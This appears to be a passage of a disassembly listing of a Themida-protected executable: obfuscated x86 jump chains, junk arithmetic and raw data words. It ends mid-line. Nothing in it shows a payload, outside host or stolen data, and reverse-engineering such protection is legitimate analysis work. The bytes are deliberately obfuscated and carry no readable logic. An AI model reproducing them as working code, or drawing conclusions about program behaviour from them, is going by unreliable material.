23966702h, 77B9BE56h, 0F7295418h dd 8FE4E95Eh, 0C3830000h, 241C8704h, 148B665Ch, 2C48124h dd 0E9000000h, 8B25h, 9C2404FEh, 0FF3DBFE9h db 0FFh ; --------------------------------------------------------------------------- loc_55C661: ; CODE XREF: Themida_:0056511Fj pop eax push esi mov esi, esp jmp loc_552EB7 ; --------------------------------------------------------------------------- dw 0BD55h dd 1C621193h, 815DEA01h, 32570FEAh, 81C22961h, 32570FC2h dd 36E95561h, 5300003Ah, 8904EC83h, 0BA68240Ch, 593F506Eh dd 557EE981h, 81511B3Fh, 3F7C2434h, 815B1A63h, 633F7CF3h dd 240C8B1Ah, 4C481h, 0F3810000h, 2411193Eh, 63246851h dd 0C8B2DDBh, 4C48124h, 81000000h, 0AC0216EFh, 81CF2958h dd 0AC0216C7h, 0DF015958h, 1DE968h, 24048900h, 0DB6324B8h dd 7EB8502Dh, 1620B26h, 0C70158C7h, 267EEF81h, 48B620Bh dd 0C659E924h, 0C0BAFFFFh, 3142B61Ah, 24148BD0h, 4C481h dd 89520000h, 4C281E2h, 83000000h, 37E904EAh, 81FFFFFCh dd 4C4h, 48976800h, 3C890000h, 0BBE95324h, 80FFFF55h, 80584CE9h dd 0D9F6FFC1h, 0E99BC180h, 0FFFFEFABh, 0BE243489h, 0A0E1A0Ah dd 7023C681h, 814E47F6h, 997EDBEEh, 5EF3013Fh, 531AE95Dh dd 32D0000h, 0E9D27D86h, 0FFFF45F4h, 0F5C72BFh, 246C8160h dd 85653804h, 247C0111h, 24448104h, 85653804h, 0C0C0E911h dd 68FFFFh, 29000000h, 2C8B242Ch, 4C48124h, 0D1000000h dd 0E9D5F7E5h, 0FFFF71C7h, 0FF2434FFh, 53582434h, 0FF46C6E9h dd 86BE56FFh, 467A402Ah, 4DF68146h, 132BA23h, 24348BF3h dd 4C481h, 0C3810000h, 12D1479Fh, 4242E956h, 0C3810000h dd 4, 2C381h, 39E90000h, 68FFFFDBh, 7E46h, 31E3E9h, 4EC8300h dd 0FFAF02E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C7F9: ; CODE XREF: Themida_:0055A214j pop ebp xchg edx, [esp] mov esp, [esp] mov [esp], edi push esp pop edi push ebx jmp loc_5610D9 ; --------------------------------------------------------------------------- align 4 dd 2434FFECh, 0FFA726E9h, 5E089FFh, 4, 4BA52h, 0D0290000h dd 8124148Bh, 4C4h, 24043300h, 33240431h, 0B7E92404h, 51FFFF98h dd 702BF4B9h, 6E9C121h, 3F55C181h, 0CF01FF7Ah, 4EF8159h dd 87000000h, 895C243Ch, 3481240Ch, 0F7191C24h, 0F3815B67h dd 67F7191Ch, 0FF5D99E9h, 2434FFFFh, 0A31E9h, 2434FF00h dd 592434FFh, 2A3C68h, 240C8900h, 38F8E9h db 0 ; --------------------------------------------------------------------------- loc_55C889: ; CODE XREF: Themida_:00553F4Ej add eax, 37EF157Bh jmp loc_5561F6 ; --------------------------------------------------------------------------- loc_55C893: ; CODE XREF: Themida_:0055EE2Cj xchg ebx, [esp] pop esp push edi push 1C604127h pop edi sub [esp+8], edi push dword ptr [esp] pop edi add esp, 4 sub [esp+4], edi jmp loc_56173C ; --------------------------------------------------------------------------- dw 0DF89h dd 0FFA292E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C8B9: ; CODE XREF: Themida_:00559246j mov [esp], esi sub esp, 4 jmp loc_552E0D ; --------------------------------------------------------------------------- loc_55C8C7: ; CODE XREF: Themida_:005560D8j xchg ebp, [esp] jmp loc_562D06 ; --------------------------------------------------------------------------- db 0BDh dd 0D9C00004h, 0FFAFFAE9h, 4EC83FFh, 0FF412FE9h, 2434FFFFh dd 0CBC3E95Ah, 0F821FFFFh, 0FC0095Fh, 0FF6F5084h, 1C77FFFFh dd 1942BB53h, 0CB81103Ah, 390A1352h, 0F6CBE956h, 5456FFFFh dd 54E9535Eh, 8BFFFFBCh, 8956240Ch, 0F1ADE9E6h, 815AFFFFh dd 89199AC7h, 8BFB2915h, 7068243Ch, 8900005Dh, 0E0892404h dd 4BE56h, 0F0010000h, 4055Eh, 4330000h, 24043124h, 6A87E9h dd 0C5885100h, 6859EF88h, 2701h, 0FFA89AE9h, 0EDC981FFh dd 81361234h, 0D13410F1h, 960FE900h, 0B850FFFFh, 2110B8Fh dd 958C789h, 21C3E9FEh, 0C8680000h, 89000012h, 40BD242Ch dd 45719153h, 0F65E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55C992: ; CODE XREF: Themida_:0055E263j mov ecx, 7B8719E3h jmp loc_561E0A ; --------------------------------------------------------------------------- dd 0B9240C89h, 0E501B33h, 0FF6D9BE9h, 0E9C0FEFFh, 671Fh dd 5C241C87h, 0E9243C89h, 3EB4h ; --------------------------------------------------------------------------- loc_55C9BC: ; CODE XREF: Themida_:0055D2CFj pop ebx jmp loc_55F741 ; --------------------------------------------------------------------------- dw 2C87h dd 81525C24h, 4EEC2404h, 50591828h, 284EECB8h, 891CE918h dd 8B66FFFFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_55C599 ; --------------------------------------------------------------------------- loc_55C9F5: ; CODE XREF: Themida_:00558ECFj pop esp mov [esp], edx mov edx, 4C2A0E14h mov ecx, edx pop edx dec ecx xor ecx, 521E0E3Dh xor eax, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 2A442CDAh push ebp mov ebp, 1A2E2B9Fh xchg eax, ebp neg eax xchg eax, ebp jmp loc_55ACF1 ; --------------------------------------------------------------------------- dd 96B551h, 516659EEh, 0EE00EDB5h, 0FF43B1E9h, 35E8D1FFh dd 3EC7B7E5h, 4DBABA52h, 0F28172B3h, 54DE25DCh, 0FF49ABE9h dd 243C8BFFh, 104C483h, 6253E9CAh, 8B660000h, 0EC832404h dd 24048904h, 0EC81E089h, 4, 0BB241C89h, 26AB561Bh, 8105EBC1h dd 90C8CCBh, 0E9564B1Ch, 799Fh, 27C5815Bh, 1DCB6A2h, 4E88E9E8h dd 0EF800000h, 0C0D7F675h, 0DFF607EFh, 807BE780h, 0C78045C7h dd 5BFD88A0h, 5966EF28h, 0A104EB04h, 0FFBBD8E9h, 0E9E089FFh dd 0FFFF7981h, 9D49E955h, 0D831FFFFh, 0FF9C53E9h, 0F1295BFFh dd 6088E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CAD6: ; CODE XREF: Themida_:0055AC95j mov ebp, 15DE661Bh add esi, ebp pop ebp jmp loc_55538E ; --------------------------------------------------------------------------- loc_55CAE3: ; CODE XREF: Themida_:00556C78j xor edi, [esp] jmp loc_5607CF ; --------------------------------------------------------------------------- db 59h dd 805BDA08h, 212CF7F2h, 0C3E9D028h, 66000040h, 68CCB60Fh dd 65B5h, 717CE9h, 0E9F80100h, 4F73h, 4BAh, 0E8EE8100h dd 815CF034h, 7432E7C6h, 0E9D60140h, 0FFFF930Ch, 31240433h dd 4332404h, 5A47E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB36: ; CODE XREF: Themida_:0055B541j push edx add dword ptr [esp], 1BF4109Ch push dword ptr [esp] pop eax jmp loc_5612CC ; --------------------------------------------------------------------------- db 87h dd 515C2414h, 0C181E189h, 4, 4C181h, 0C870000h, 8F685C24h dd 89000022h, 19BE2434h, 564BCC0Dh, 5E2414F7h, 0FF759CE9h dd 573068FFh, 3C890000h, 7EEE924h, 0C1830000h, 240C3302h dd 33240C31h, 0D2E9240Ch db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CB93: ; CODE XREF: Themida_:005649F8j mov [esp], ecx mov ecx, 5D6D3A21h xor [esp+4], ecx mov ecx, [esp] add esp, 4 push dword ptr [esp] mov eax, [esp] jmp loc_563FC1 ; --------------------------------------------------------------------------- dd 0C148D8F7h, 852D02E8h, 3146CA65h, 6CEEE9C6h, 0EE89FFFFh dd 5D2434FFh, 4C481h, 34FF0000h, 241C8B24h, 600CE9h, 5BD80100h dd 2CCFE9h, 0E9CCFE00h, 0FFFF6C2Ah, 69A8EB81h, 0C3292C6Dh dd 69A8C381h, 61E92C6Dh, 2DFFFFC8h, 7B0A5700h, 34FF3089h dd 24048B24h, 0FFDB63E9h, 241C29FFh, 7EBC15Bh, 470BB951h dd 9CE95293h db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CC1F: ; CODE XREF: Themida_:005524E5j pop edi sub eax, ebx pop ebx add eax, 61D37602h jmp loc_55E1B2 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0D2h dd 1B067EBh, 2434FFEEh, 4C4815Dh, 0E9000000h, 54ACh ; --------------------------------------------------------------------------- loc_55CC44: ; CODE XREF: Themida_:005579C9j or [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- dw 895Dh dd 2434FFF2h, 4C4835Eh, 29F5BF57h, 0E78104A6h, 5A002992h dd 0FF7DCAE9h, 244481FFh, 0D73CF504h, 38F9E91Ah, 525C0000h dd 97D86BAh, 1FCA8103h, 51598A4Ah, 756DE5B9h, 0F857E93Fh dd 77FFFFFFh, 59669D1Ch, 9C2414D3h, 0FF3783E9h, 2C482CFFh dd 66596612h, 4B0EE952h, 1C330000h, 241C3124h, 5C241C33h dd 83241489h, 48904ECh, 587AB824h, 6CBA6280h, 1D49901h dd 0E28158C2h, 40E3534Ch, 3B2668h, 242C8900h, 357DD5BDh dd 8BEA312Dh, 0EC83242Ch, 242C8904h, 0C581E589h, 4, 0FF8DD4E9h dd 2BEFFh, 0E680000h, 8900007Fh, 5E5B2434h, 0FF4B9FE9h dd 68D831FFh, 6E68h, 0E9240C89h, 72B4h, 204AF04h, 0FF410DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CD21: ; CODE XREF: Themida_:005544ABj sub dh, 82h sub al, dh pop edx sub al, bl add al, 9Ch pop ebx jmp loc_56185B ; --------------------------------------------------------------------------- db 80h, 0F5h, 0DAh dd offset dword_457444+370A5h db 0 ; --------------------------------------------------------------------------- loc_55CD39: ; CODE XREF: Themida_:0055DF2Cj xchg eax, ecx push 47D9h mov [esp], ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_562B80 ; --------------------------------------------------------------------------- db 5Fh dd 565AD689h, 0E95D5E58h, 0FFFF36C0h, 0FF36BBE9h, 71E95AFFh dd 59000075h, 640A2D66h, 66D02966h, 5A640A05h, 3E3A6866h dd 0FF8BF4E9h, 81E689FFh, 4C6h, 4EE8300h, 6B43E9h, 81E38900h dd 4C3h, 4EB8100h, 87000000h, 248B241Ch, 24348924h, 89515E54h dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 2404895Ch, 1F407BB8h dd 304B256Eh, 0E0C148D5h, 3CBEE905h, 1C870000h, 54EDE924h dd 48BFFFFh, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 0B2D9E95Ch, 0B353FFFFh, 0B5CB8077h, 0E9DFCB80h, 0FFFF5116h dd 612DD8F7h, 13861E3h, 24048BC6h, 5104C483h, 0E47C63B9h dd 0E9CE2119h, 4Ah ; --------------------------------------------------------------------------- loc_55CE1C: ; CODE XREF: Themida_:0055F117j sub ecx, 7A963F0h add ecx, ebx add ecx, 7A963F0h pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] jmp loc_55AD62 ; --------------------------------------------------------------------------- dd 0E9E78957h, 0FFFF65A8h, 835AD729h, 0EFC101C7h, 5EF78104h dd 29E1F34Bh, 0F0015FFEh, 8124348Bh, 4C4h, 6DE6E900h, 0C159FFFFh dd 545506EEh, 0A163E95Dh, 555DFFFFh, 0EF1AD0BDh, 5DE8291Ah dd 4D11C705h, 57D80179h, 293BD55h, 0EF8969E0h, 4EF0E95Dh dd 74FF0000h, 3C8B0424h, 4C48124h, 8F000000h, 665C2404h dd 5624048Bh, 0BA52E689h, 4, 148BD601h, 3E67E924h, 0CAFE0000h dd 8079F280h, 0D300F2C3h, 5AF2EB80h, 0FF56C1E9h, 8BDF31FFh dd 30E9241Ch, 0B6FFFF80h, 761AE9ABh, 29580000h, 0C257E9C2h dd 0E781FFFFh, 18BD3362h, 0CB95147h, 41736C32h, 7CF5C181h dd 0F1814AA0h, 2F4C4FC4h, 17C6E9h, 5E545600h, 4BF57h, 0FE010000h dd 4EE815Fh, 87000000h, 248B2434h, 24048924h, 26C6855h dd 515D058Dh, 8D0268B9h, 59CD3105h, 15D5855h, 24048BC2h dd 81E78957h, 4ECh, 241C8900h, 4BBh, 7D4E900h, 0F6810000h dd 5B2C0D52h, 714EEE81h, 58E9E810h, 0FF00004Dh, 5A042474h dd 8B24048Fh, 33682424h, 8900002Bh, 68532414h, 72C4h, 0E9240489h dd 37B0h, 0F81F6CBFh, 247C292Dh, 0B1E95F08h, 81FFFFD5h dd 2F9C2404h, 34FF5FB1h, 24348B24h, 0FF4BCFE9h, 240489FFh dd 4B82E957h, 81500000h, 1C422404h, 26E93CC5h, 0BFFFFFC7h dd 530928E9h, 8105EFC1h, 136363CFh, 0ECF78133h, 894C3B5Ch dd 0BB535FF9h, 1D7705AAh, 3225F381h, 5E5362D7h, 828AE9h dd 0F7F58700h, 45F587D6h, 60B3C581h, 30E92050h, 33FFFFCFh dd 99E92414h, 100002Bh, 315A59C8h, 0BE5658C7h, 6B3A4C94h dd 15EF129h, 94C181F9h, 8B6B3A4Ch, 0C481243Ch, 4, 6E23E951h dd 89520000h, 4E9BE9E2h, 0EB31FFFFh, 0FFD36DE9h, 0D8EB80FFh dd 0C380D300h, 0F9E95AD8h, 68FFFF7Eh, 689607CDh, 0F7D6F75Eh dd 5440E9D6h, 248BFFFFh, 5812E924h, 0DD290000h, 2F8FED81h dd 39E921C9h, 0B0FFFFC9h, 0CC8FE8Bh, 53D0F6C8h, 0F800D5B7h dd 4CC1805Bh, 0B8E9C128h, 83FFFFF6h, 348904ECh, 2474FF24h dd 48F5E04h, 0AAE95C24h, 53FFFF9Bh, 6C732568h, 4B4B5B3Ch dd 4FD0BF57h, 0C14F4375h, 0C78106E7h, 5B5D9083h, 895FFB31h dd 0D1315BDAh, 3A5F35Ah, 71683862h, 89000021h, 0E0892404h dd 405h, 42D00h, 4330000h, 24043124h, 5C240433h, 0BB241C89h dd 12796797h, 4D516855h, 27E959CAh, 5D000040h, 1C0BE9h dd 48F5C00h, 8890E924h, 81590000h, 0C7020BC3h, 8BDE01ECh dd 98E9241Ch, 81FFFFB2h, 966AB2F1h, 0CE60E947h, 0C481FFFFh dd 4, 33B868h, 241C8900h, 1A3D68h, 242C8900h, 515BF9BDh dd 5DEB8927h, 37ADEE81h, 0EE81143Dh, 5C9E1B2Ah, 4A45E9h dd 24048F00h, 0FC0095Ch, 0FF5F8284h, 285468FFh, 4890000h dd 1CB824h, 0BE560000h, 2A862F2Ch, 6807E6C1h, 66EBh, 0B8240489h dd 0D93A501Ch, 33E9C629h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D177: ; CODE XREF: Themida_:0055B766j mov [esp], ebx jmp loc_552CC9 ; --------------------------------------------------------------------------- db 54h dd 4C6815Eh, 83000000h, 348704EEh, 0A251E924h, 0EB80FFFFh dd 51EB0065h, 0DDBE9h, 5F545700h, 4C781h, 0EF830000h, 243C3304h dd 33243C31h, 895C243Ch, 0EC812404h, 4, 24048F54h, 4BD55h dd 6C010000h, 80E90424h, 5AFFFF8Fh, 0E9243C87h, 0A3Bh dd 0F75DE989h, 7DF1E9D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D1E2: ; CODE XREF: Themida_:00553A4Bj jmp loc_550420 ; --------------------------------------------------------------------------- loc_55D1E7: ; CODE XREF: Themida_:005636E9j mov dl, 3Fh push edx mov dh, 0A3h add dh, 8Dh jmp loc_55E7B8 ; --------------------------------------------------------------------------- aWhld db 'Whld',0 align 2 aISa db '<$éa$',0 align 2 aFwsi db 'FWé',27h,0 dd 1C895C00h, 0BBB45024h, 2812B252h, 88515AD4h, 59EB88E5h dd 0D6B65258h, 0C05AF328h, 0CB8008EBh, 0DCC3808Dh, 0D800AD04h dd 5E2CE9h, 0B7E95000h, 89FFFFC6h, 0DDE9240Ch, 8BFFFF31h dd 32682424h, 0E9000005h, 2176h, 241C8966h, 0F82865B7h dd 0D0285B66h, 3672E9h, 0E9C62100h, 6AC3h, 61F0E952h, 0EC83FFFFh dd 241C8904h, 865F0ABBh, 10E95631h, 5F00007Dh, 0FF975DE9h dd 0DEBF57FFh, 0E951EA17h, 0FFFF5D27h ; --------------------------------------------------------------------------- loc_55D290: ; CODE XREF: Themida_:005547A5j add ecx, 4 push 135Fh jmp loc_554C01 ; --------------------------------------------------------------------------- loc_55D29D: ; CODE XREF: Themida_:00561138j pop esi xor ebp, [esp] jmp loc_557D20 ; --------------------------------------------------------------------------- dw 515Ah dd 0BD55E189h, 4, 0FF7B78E9h, 0F12BDFFh, 0EDC163AAh, 0C1DDF703h dd 0E4E906E5h db 48h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D2C7: ; CODE XREF: Themida_:00555195j xor ebx, 2C256FE8h add ebp, ebx jmp loc_55C9BC ; --------------------------------------------------------------------------- dd 240C8B66h, 1554E9h, 0C3814B00h, 1, 2565BE56h, 0D6F71FE9h dd 6573CE81h, 0E6D11950h, 0E9F6814Eh, 81255238h, 16CE0FF6h dd 2EB81F3h, 2913C60Bh, 2C381F3h, 5E13C60Bh, 0B850DBF7h dd 1D8E2E21h, 0D1E9C301h, 6800001Ch, 7B909ECh, 25D0F758h dd 2D33737Eh, 0FFCC65E9h, 0E68956FFh, 0FF5E55E9h, 1C77FFFFh dd 1058669Dh, 0E99C2404h, 0FFFF30D8h, 460305ADh, 4B685267h dd 8900002Eh, 52E92414h, 87FFFF38h, 6CE92434h, 0C0FFFFF2h dd 0F76805EBh, 0E9000004h, 49A2h, 81E18951h, 4C1h, 4E98100h dd 87000000h, 545C240Ch, 5224048Fh, 4BAh, 24540100h, 24148B04h dd 5F04C483h, 5E08950h, 4, 8704E883h, 895C2404h, 0BB532404h dd 4, 1C8BD889h, 4C48324h, 5E9C701h, 55000087h, 0FFDB86E9h dd 0AAF181FFh, 171BE61h, 246859CBh, 89000015h, 4BE2434h dd 56000000h, 25224BEh, 0FCE6814Ch, 81089D1Fh, 0E155B1F6h dd 5EF3013Dh, 4EC81h, 4890000h, 56B1B824h, 0C3017253h dd 0FFD4EEE9h, 4C828FFh, 0E289526Eh, 0FF39A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D411: ; CODE XREF: Themida_:0056460Aj add esp, 4 push dword ptr [esp] pop ebx push 6EDAh mov [esp], ebp push esp pop ebp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] jmp loc_55B320 ; --------------------------------------------------------------------------- db 68h, 1, 7Eh dd 34890000h, 24048124h, 60DB0ACFh, 0CFBE565Fh, 0E960DB0Ah dd 0FFFF335Dh, 1555E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D45A: ; CODE XREF: Themida_:0056519Bj pop eax pop ebx shl esi, 1 shr esi, 4 and esi, 24D56E5Ah sub esi, 1 push ebp mov ebp, 7DC36593h shl ebp, 4 and ebp, 143A3B7Bh push ebp sub dword ptr [esp], 0FFFFFFFFh jmp loc_55716F ; --------------------------------------------------------------------------- db 59h, 1, 0DEh dd 0C681585Bh, 2, 31243433h, 0CCE92434h, 5FFFF8Bh, 3C5FEAD4h dd 0C5E9C289h, 5200007Fh, 0C281E289h, 4, 4C281h, 14870000h dd 0D8215C24h, 0FF2434FFh, 68E92434h, 2800001Fh, 8B3604F0h dd 0C4832414h, 2693E904h, 0EB810000h, 0E1EEBB3Dh, 13D1E981h dd 0D901069Fh, 363EE952h, 0D301FFFFh, 57D3015Ah, 0FFAC7AE9h dd 0E18951FFh, 4873BE56h, 0F6810D6Ch, 6C6E7039h, 3861E681h dd 0BF5708FBh, 23844h, 0FFD7C8E9h, 405FFh, 4870000h, 79ECE924h dd 348B0000h, 4C48324h, 2C8BE901h, 4C48124h, 68000000h dd 8Bh, 0FF7621E9h, 5F6858FFh, 89000000h, 0FEE9242Ch, 5600000Eh dd 7D033BBEh, 4EEC149h, 38C4C681h, 0DEF729D8h, 0C102EEC1h dd 0C68108E6h, 0FC46F69h, 7D9EE981h, 0F1290CBBh, 7D9EC181h dd 348B0CBBh, 6C54E924h, 0C3300000h, 0E9C0B60Fh, 0FFFF7855h dd 0B2527B04h, 0E68956D9h, 4C681h, 14E90000h, 8B00003Bh dd 0C4832414h, 4EC8104h, 0E9000000h, 0FFFFC5D2h, 4240481h dd 0FF000000h, 835F2434h, 535104C4h, 0FFEF72E9h, 5AD488FFh dd 0E62867B6h, 0FED6F658h, 1EE80C6h, 5366D6F6h, 802EB252h dd 0DAF667C2h, 5B84E9h, 4C28100h, 87000000h, 685C2414h dd 18Eh, 0E9240C89h, 0FFFF43F2h, 57240C8Bh, 243C8B54h dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 4BA52h, 0EF810000h dd 338B1AAAh, 16E9D701h, 0FEFFFF54h, 0E9C8FEC8h, 3277h dd 9F9E955h, 0C1810000h, 4, 4B850h, 0C1010000h, 240C8758h dd 0EC834E5Ch, 0B923E904h, 0C483FFFFh, 0E0895004h, 405h dd 4E88300h, 5C240487h, 0B9240C89h, 4, 3BE9CE01h, 8100007Fh dd 4EEh, 24348700h, 0A66E95Ch, 81430000h, 4755C7CBh, 0BCC3814Fh dd 894AADBFh, 68FBE9DAh, 1C87FFFFh, 0C2815C24h, 7050C95h dd 0FF7A80E9h, 65C281FFh, 0FF18A526h, 83592434h, 0B85004C4h dd 2, 2478EA81h, 0AAE9655Eh, 5EFFFFE8h, 5204E9C1h, 0FFF9C2E9h dd 0D5BA52FFh, 130CD63h, 0FD015AD5h, 514DBE56h, 0E68158C5h dd 12DE3EE3h, 1E09E9h, 0EEC15E00h, 31D63102h, 48D7E9F2h dd 0E9580000h, 0FFFF90B1h, 88241C89h, 6282E9D7h, 6C01FFFFh dd 44810424h, 5DBE0424h, 6C813903h, 2E100424h, 34FF7271h dd 6E07E924h, 0DF010000h, 4C7815Bh, 87000000h, 875C243Ch dd 248B2414h, 6E196824h, 8CE90000h, 0BB00002Ah, 56932B76h dd 0C90AFFBFh, 26CF8142h, 0F77F746Ah, 56D7F7D7h, 6A3F87BEh dd 5EF72929h, 1C8BDF29h, 0D06DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D766: ; CODE XREF: Themida_:0055F91Dj sub esi, edx pop edx dec esi or esi, 703B1B91h sub esi, 44732BD0h xor esi, 4FD472E2h jmp loc_5533CF ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 81243C8Bh, 4C4h, 0E1895100h, 3118E9h, 34746800h, 0C890000h dd 75D4E924h, 0C9810000h, 439002E2h, 81D9F749h, 0C74540C1h dd 0A5C1814Ah, 1B13442h, 5904244Ch, 0C2E95359h, 8B000057h dd 0ADE92414h, 57FFFF58h, 0D0228968h, 0FE215F69h, 0E277E95Fh dd 3540FFFFh, 41830A7Bh, 0E958C601h, 0BD3h, 2301E955h dd 51680000h, 89000047h, 68522434h, 0E170BB3h, 0FFEA835Ah dd 0D1F7CA87h, 0BD55CA87h, 44A02F89h, 9503E5C1h, 0F5819540h dd 0C02CD631h, 0FFB2F2E9h, 52F088FFh, 0D788C288h, 0E924148Bh dd 0FFFFBC13h, 0EB80D904h, 0E9C30011h, 0FFFF6961h, 515FC281h dd 0C28149B9h, 3A836982h, 4E54E9h, 11BE5600h, 3109E562h dd 2DE1E9F2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D856: ; CODE XREF: Themida_:0055D9B1j mov edi, ebp pop ebp and edi, 2C5908C1h or edi, 7F6F577Ah push edx push 5FECh mov [esp], esi mov esi, 3A12C99h mov edx, esi pop esi shr edx, 4 dec edx shr edx, 7 push esi mov esi, 1DFE27CCh not esi xor esi, 97DADFE9h sub edx, 1F403C05h add edx, esi jmp loc_5547AA ; --------------------------------------------------------------------------- dd 15EF029h, 3C8B58C3h, 4C48324h, 7051C381h, 0C281594Eh dd 53337E02h, 0BE56C201h, 4BB44CC1h, 1E21E9h, 242C8B00h dd 4C481h, 48F0000h, 0C4815C24h, 4, 6069BD55h, 0E94D62C2h dd 50C7h, 4C281h, 52560000h, 0F6247FBAh, 2883E930h, 4C310000h dd 72E90424h, 0BB000019h, 554707D0h, 0D3E9DD01h, 0BB000057h dd 2, 0A7E9DD01h, 0C1000083h, 0EC8107E1h, 4, 0E9243489h dd 1F7Bh, 0E9240C89h, 0FFFF2FC0h, 117368h, 24348900h, 715142BEh dd 5EF22129h, 2F3EE281h, 2DE96B78h, 5C000052h, 0FF243C89h dd 5F042474h, 0E924048Fh, 671Bh, 4C3BE181h, 0C9816CBBh dd 3674284Bh, 81D1F749h, 92301AE9h, 0C8F18127h, 31CB7127h dd 0FBE959CFh db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D977: ; CODE XREF: Themida_:005532C0j not dword ptr [esp] jmp loc_5630AE ; --------------------------------------------------------------------------- db 5Bh dd 5C24048Fh, 8904EC83h, 4B82404h, 81000000h, 73388DEEh dd 81C60101h, 73388DC6h, 0B481E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D9A2: ; CODE XREF: Themida_:00565561j mov [esp], edi push ebp mov ebp, 254C5178h add ebp, 5871E48h jmp loc_55D856 ; --------------------------------------------------------------------------- dw 0E8C1h dd 0E9E0D106h, 5728h, 505DEA01h, 80DCE9h, 243C8900h, 4BFh dd 0E0CBE900h, 74FFFFFFh, 0E95A0424h, 6B7Bh ; --------------------------------------------------------------------------- loc_55D9E0: ; CODE XREF: Themida_:00554641j add esp, 4 jmp loc_55B420 ; --------------------------------------------------------------------------- dd 0BD242C89h, 4321361Eh, 67E9B850h, 0C30127B8h, 56EB2958h dd 0D3416BBEh, 0BD87E931h, 8957FFFFh, 0D2B9E9E7h, 0C481FFFFh dd 4, 4BF57h, 38E90000h, 58FFFFCEh, 0C106EFC1h, 0C78105EFh dd 186ECB2Ah, 815FFB89h, 6B0C9AEDh, 81DD296Ah, 6B0C9AC5h dd 66BEE96Ah, 34FF0000h, 24048B24h, 6804C483h, 4BADh, 89242C89h dd 0D7E957E5h, 81000075h, 7E1510EDh, 5DE8013Bh, 0DDE9C389h dd 5FFFF36h, 6A123BABh, 52242C8Bh, 0C281E289h, 4, 4C281h dd 0AEE90000h, 40FFFF41h, 0FF7BAAE9h, 0D5F795FFh, 35D0F795h dd 0E755D346h, 46FCC581h, 0BAE95537h, 89FFFF44h, 0DB9240Ch dd 91DB03Fh, 2DAEE9CDh, 8951FFFFh, 2437E9E1h, 0E3810000h dd 2107326h, 549C68h, 240C8900h, 55CD24B9h, 0E9CB29E0h dd 68B8h, 83240C8Bh, 79E904C4h, 6600000Dh, 4017E95Ah, 0C981FFFFh dd 4461BAh, 7C20E981h, 0F1811C57h, 26933250h, 0C508E981h dd 0CB017081h, 592434FFh, 104C483h, 38B951C3h, 8172B20Ch dd 5D516DF1h, 8E9C115h, 6D69E9h, 5BF9BE00h, 0F7892751h dd 0B567E95Eh, 0BAFFFFh, 813CB56Dh, 0A120BEC2h, 65EA812Bh dd 5032A679h, 57CDE9h db 0 ; --------------------------------------------------------------------------- loc_55DB41: ; CODE XREF: Themida_:00562925j push edi mov edi, 218B0B9Bh push 971h mov [esp], esi mov esi, 11FE1725h or edi, esi pop esi shr edi, 6 xor edi, 3A4D3FC2h shr edi, 7 dec edi xor edi, 5CA3AE4h jmp loc_556046 ; --------------------------------------------------------------------------- db 81h dd 93D21C5h, 72C58169h, 0E9A89474h, 5816h, 6678B151h, 97B252h dd 805A66D1h, 0B65291E9h, 5AF1202Dh, 5208E1C0h, 5EE981B6h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DB9F: ; CODE XREF: Themida_:00561828j xor ebp, 2BA9421Ah jmp loc_55BF18 ; --------------------------------------------------------------------------- loc_55DBAA: ; CODE XREF: Themida_:0055AD67j mov [esp], edi jmp loc_562715 ; --------------------------------------------------------------------------- aUske db 'UéŞE',0 align 4 dd 4C581h, 37E90000h, 58FFFFB8h, 5C243C87h, 0E956C301h dd 0FFFFEDAEh, 0D15FF921h, 0FDC181E1h, 0E91A6C9Ah, 0FFFF58F1h dd 4B9515Ch, 1000000h, 455BE9C8h, 0F749FFFFh, 45C181D1h dd 895B7D51h, 540159CAh, 5B5A0424h, 4C381h, 0F5680000h dd 89000048h, 0A2E9242Ch, 8BFFFFF6h, 0E9572424h, 0FFFFC1C6h dd 5A2434FFh, 707E9h, 241C3300h, 33241C31h, 248B241Ch dd 330DE924h, 0C3810000h, 0B0C8C811h, 1C8BDF01h, 4C48324h dd 5C243C87h, 0FF386DE9h, 54D8BBFFh, 92E9598Ch, 52FFFF4Eh dd 9369EFBAh, 0FFEA8143h, 0C1FFFFFFh, 0C28107EAh, 45156B32h dd 0E9E2D14Ah, 0FFFFC22Ch, 5624048Bh, 0C6815E54h, 4, 1C58E9h dd 0E9C82800h, 0FFFF4E1Bh, 5E2434FFh, 0FFF99BE9h, 4EC81FFh dd 89000000h, 7BE2434h, 57FBCE5h, 88344D6h, 2678BB53h dd 0D82901D2h, 0FF8F19E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DCB5: ; CODE XREF: Themida_:00562DD3j add ebp, 4 jmp loc_559B22 ; --------------------------------------------------------------------------- dd 0FF275BE9h, 2474FFFFh, 24048B04h, 4C481h, 48F0000h dd 24248B24h, 0E9240C89h, 66D7h, 2434895Ch, 0AB1158BEh dd 0B041E935h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DCEE: ; CODE XREF: 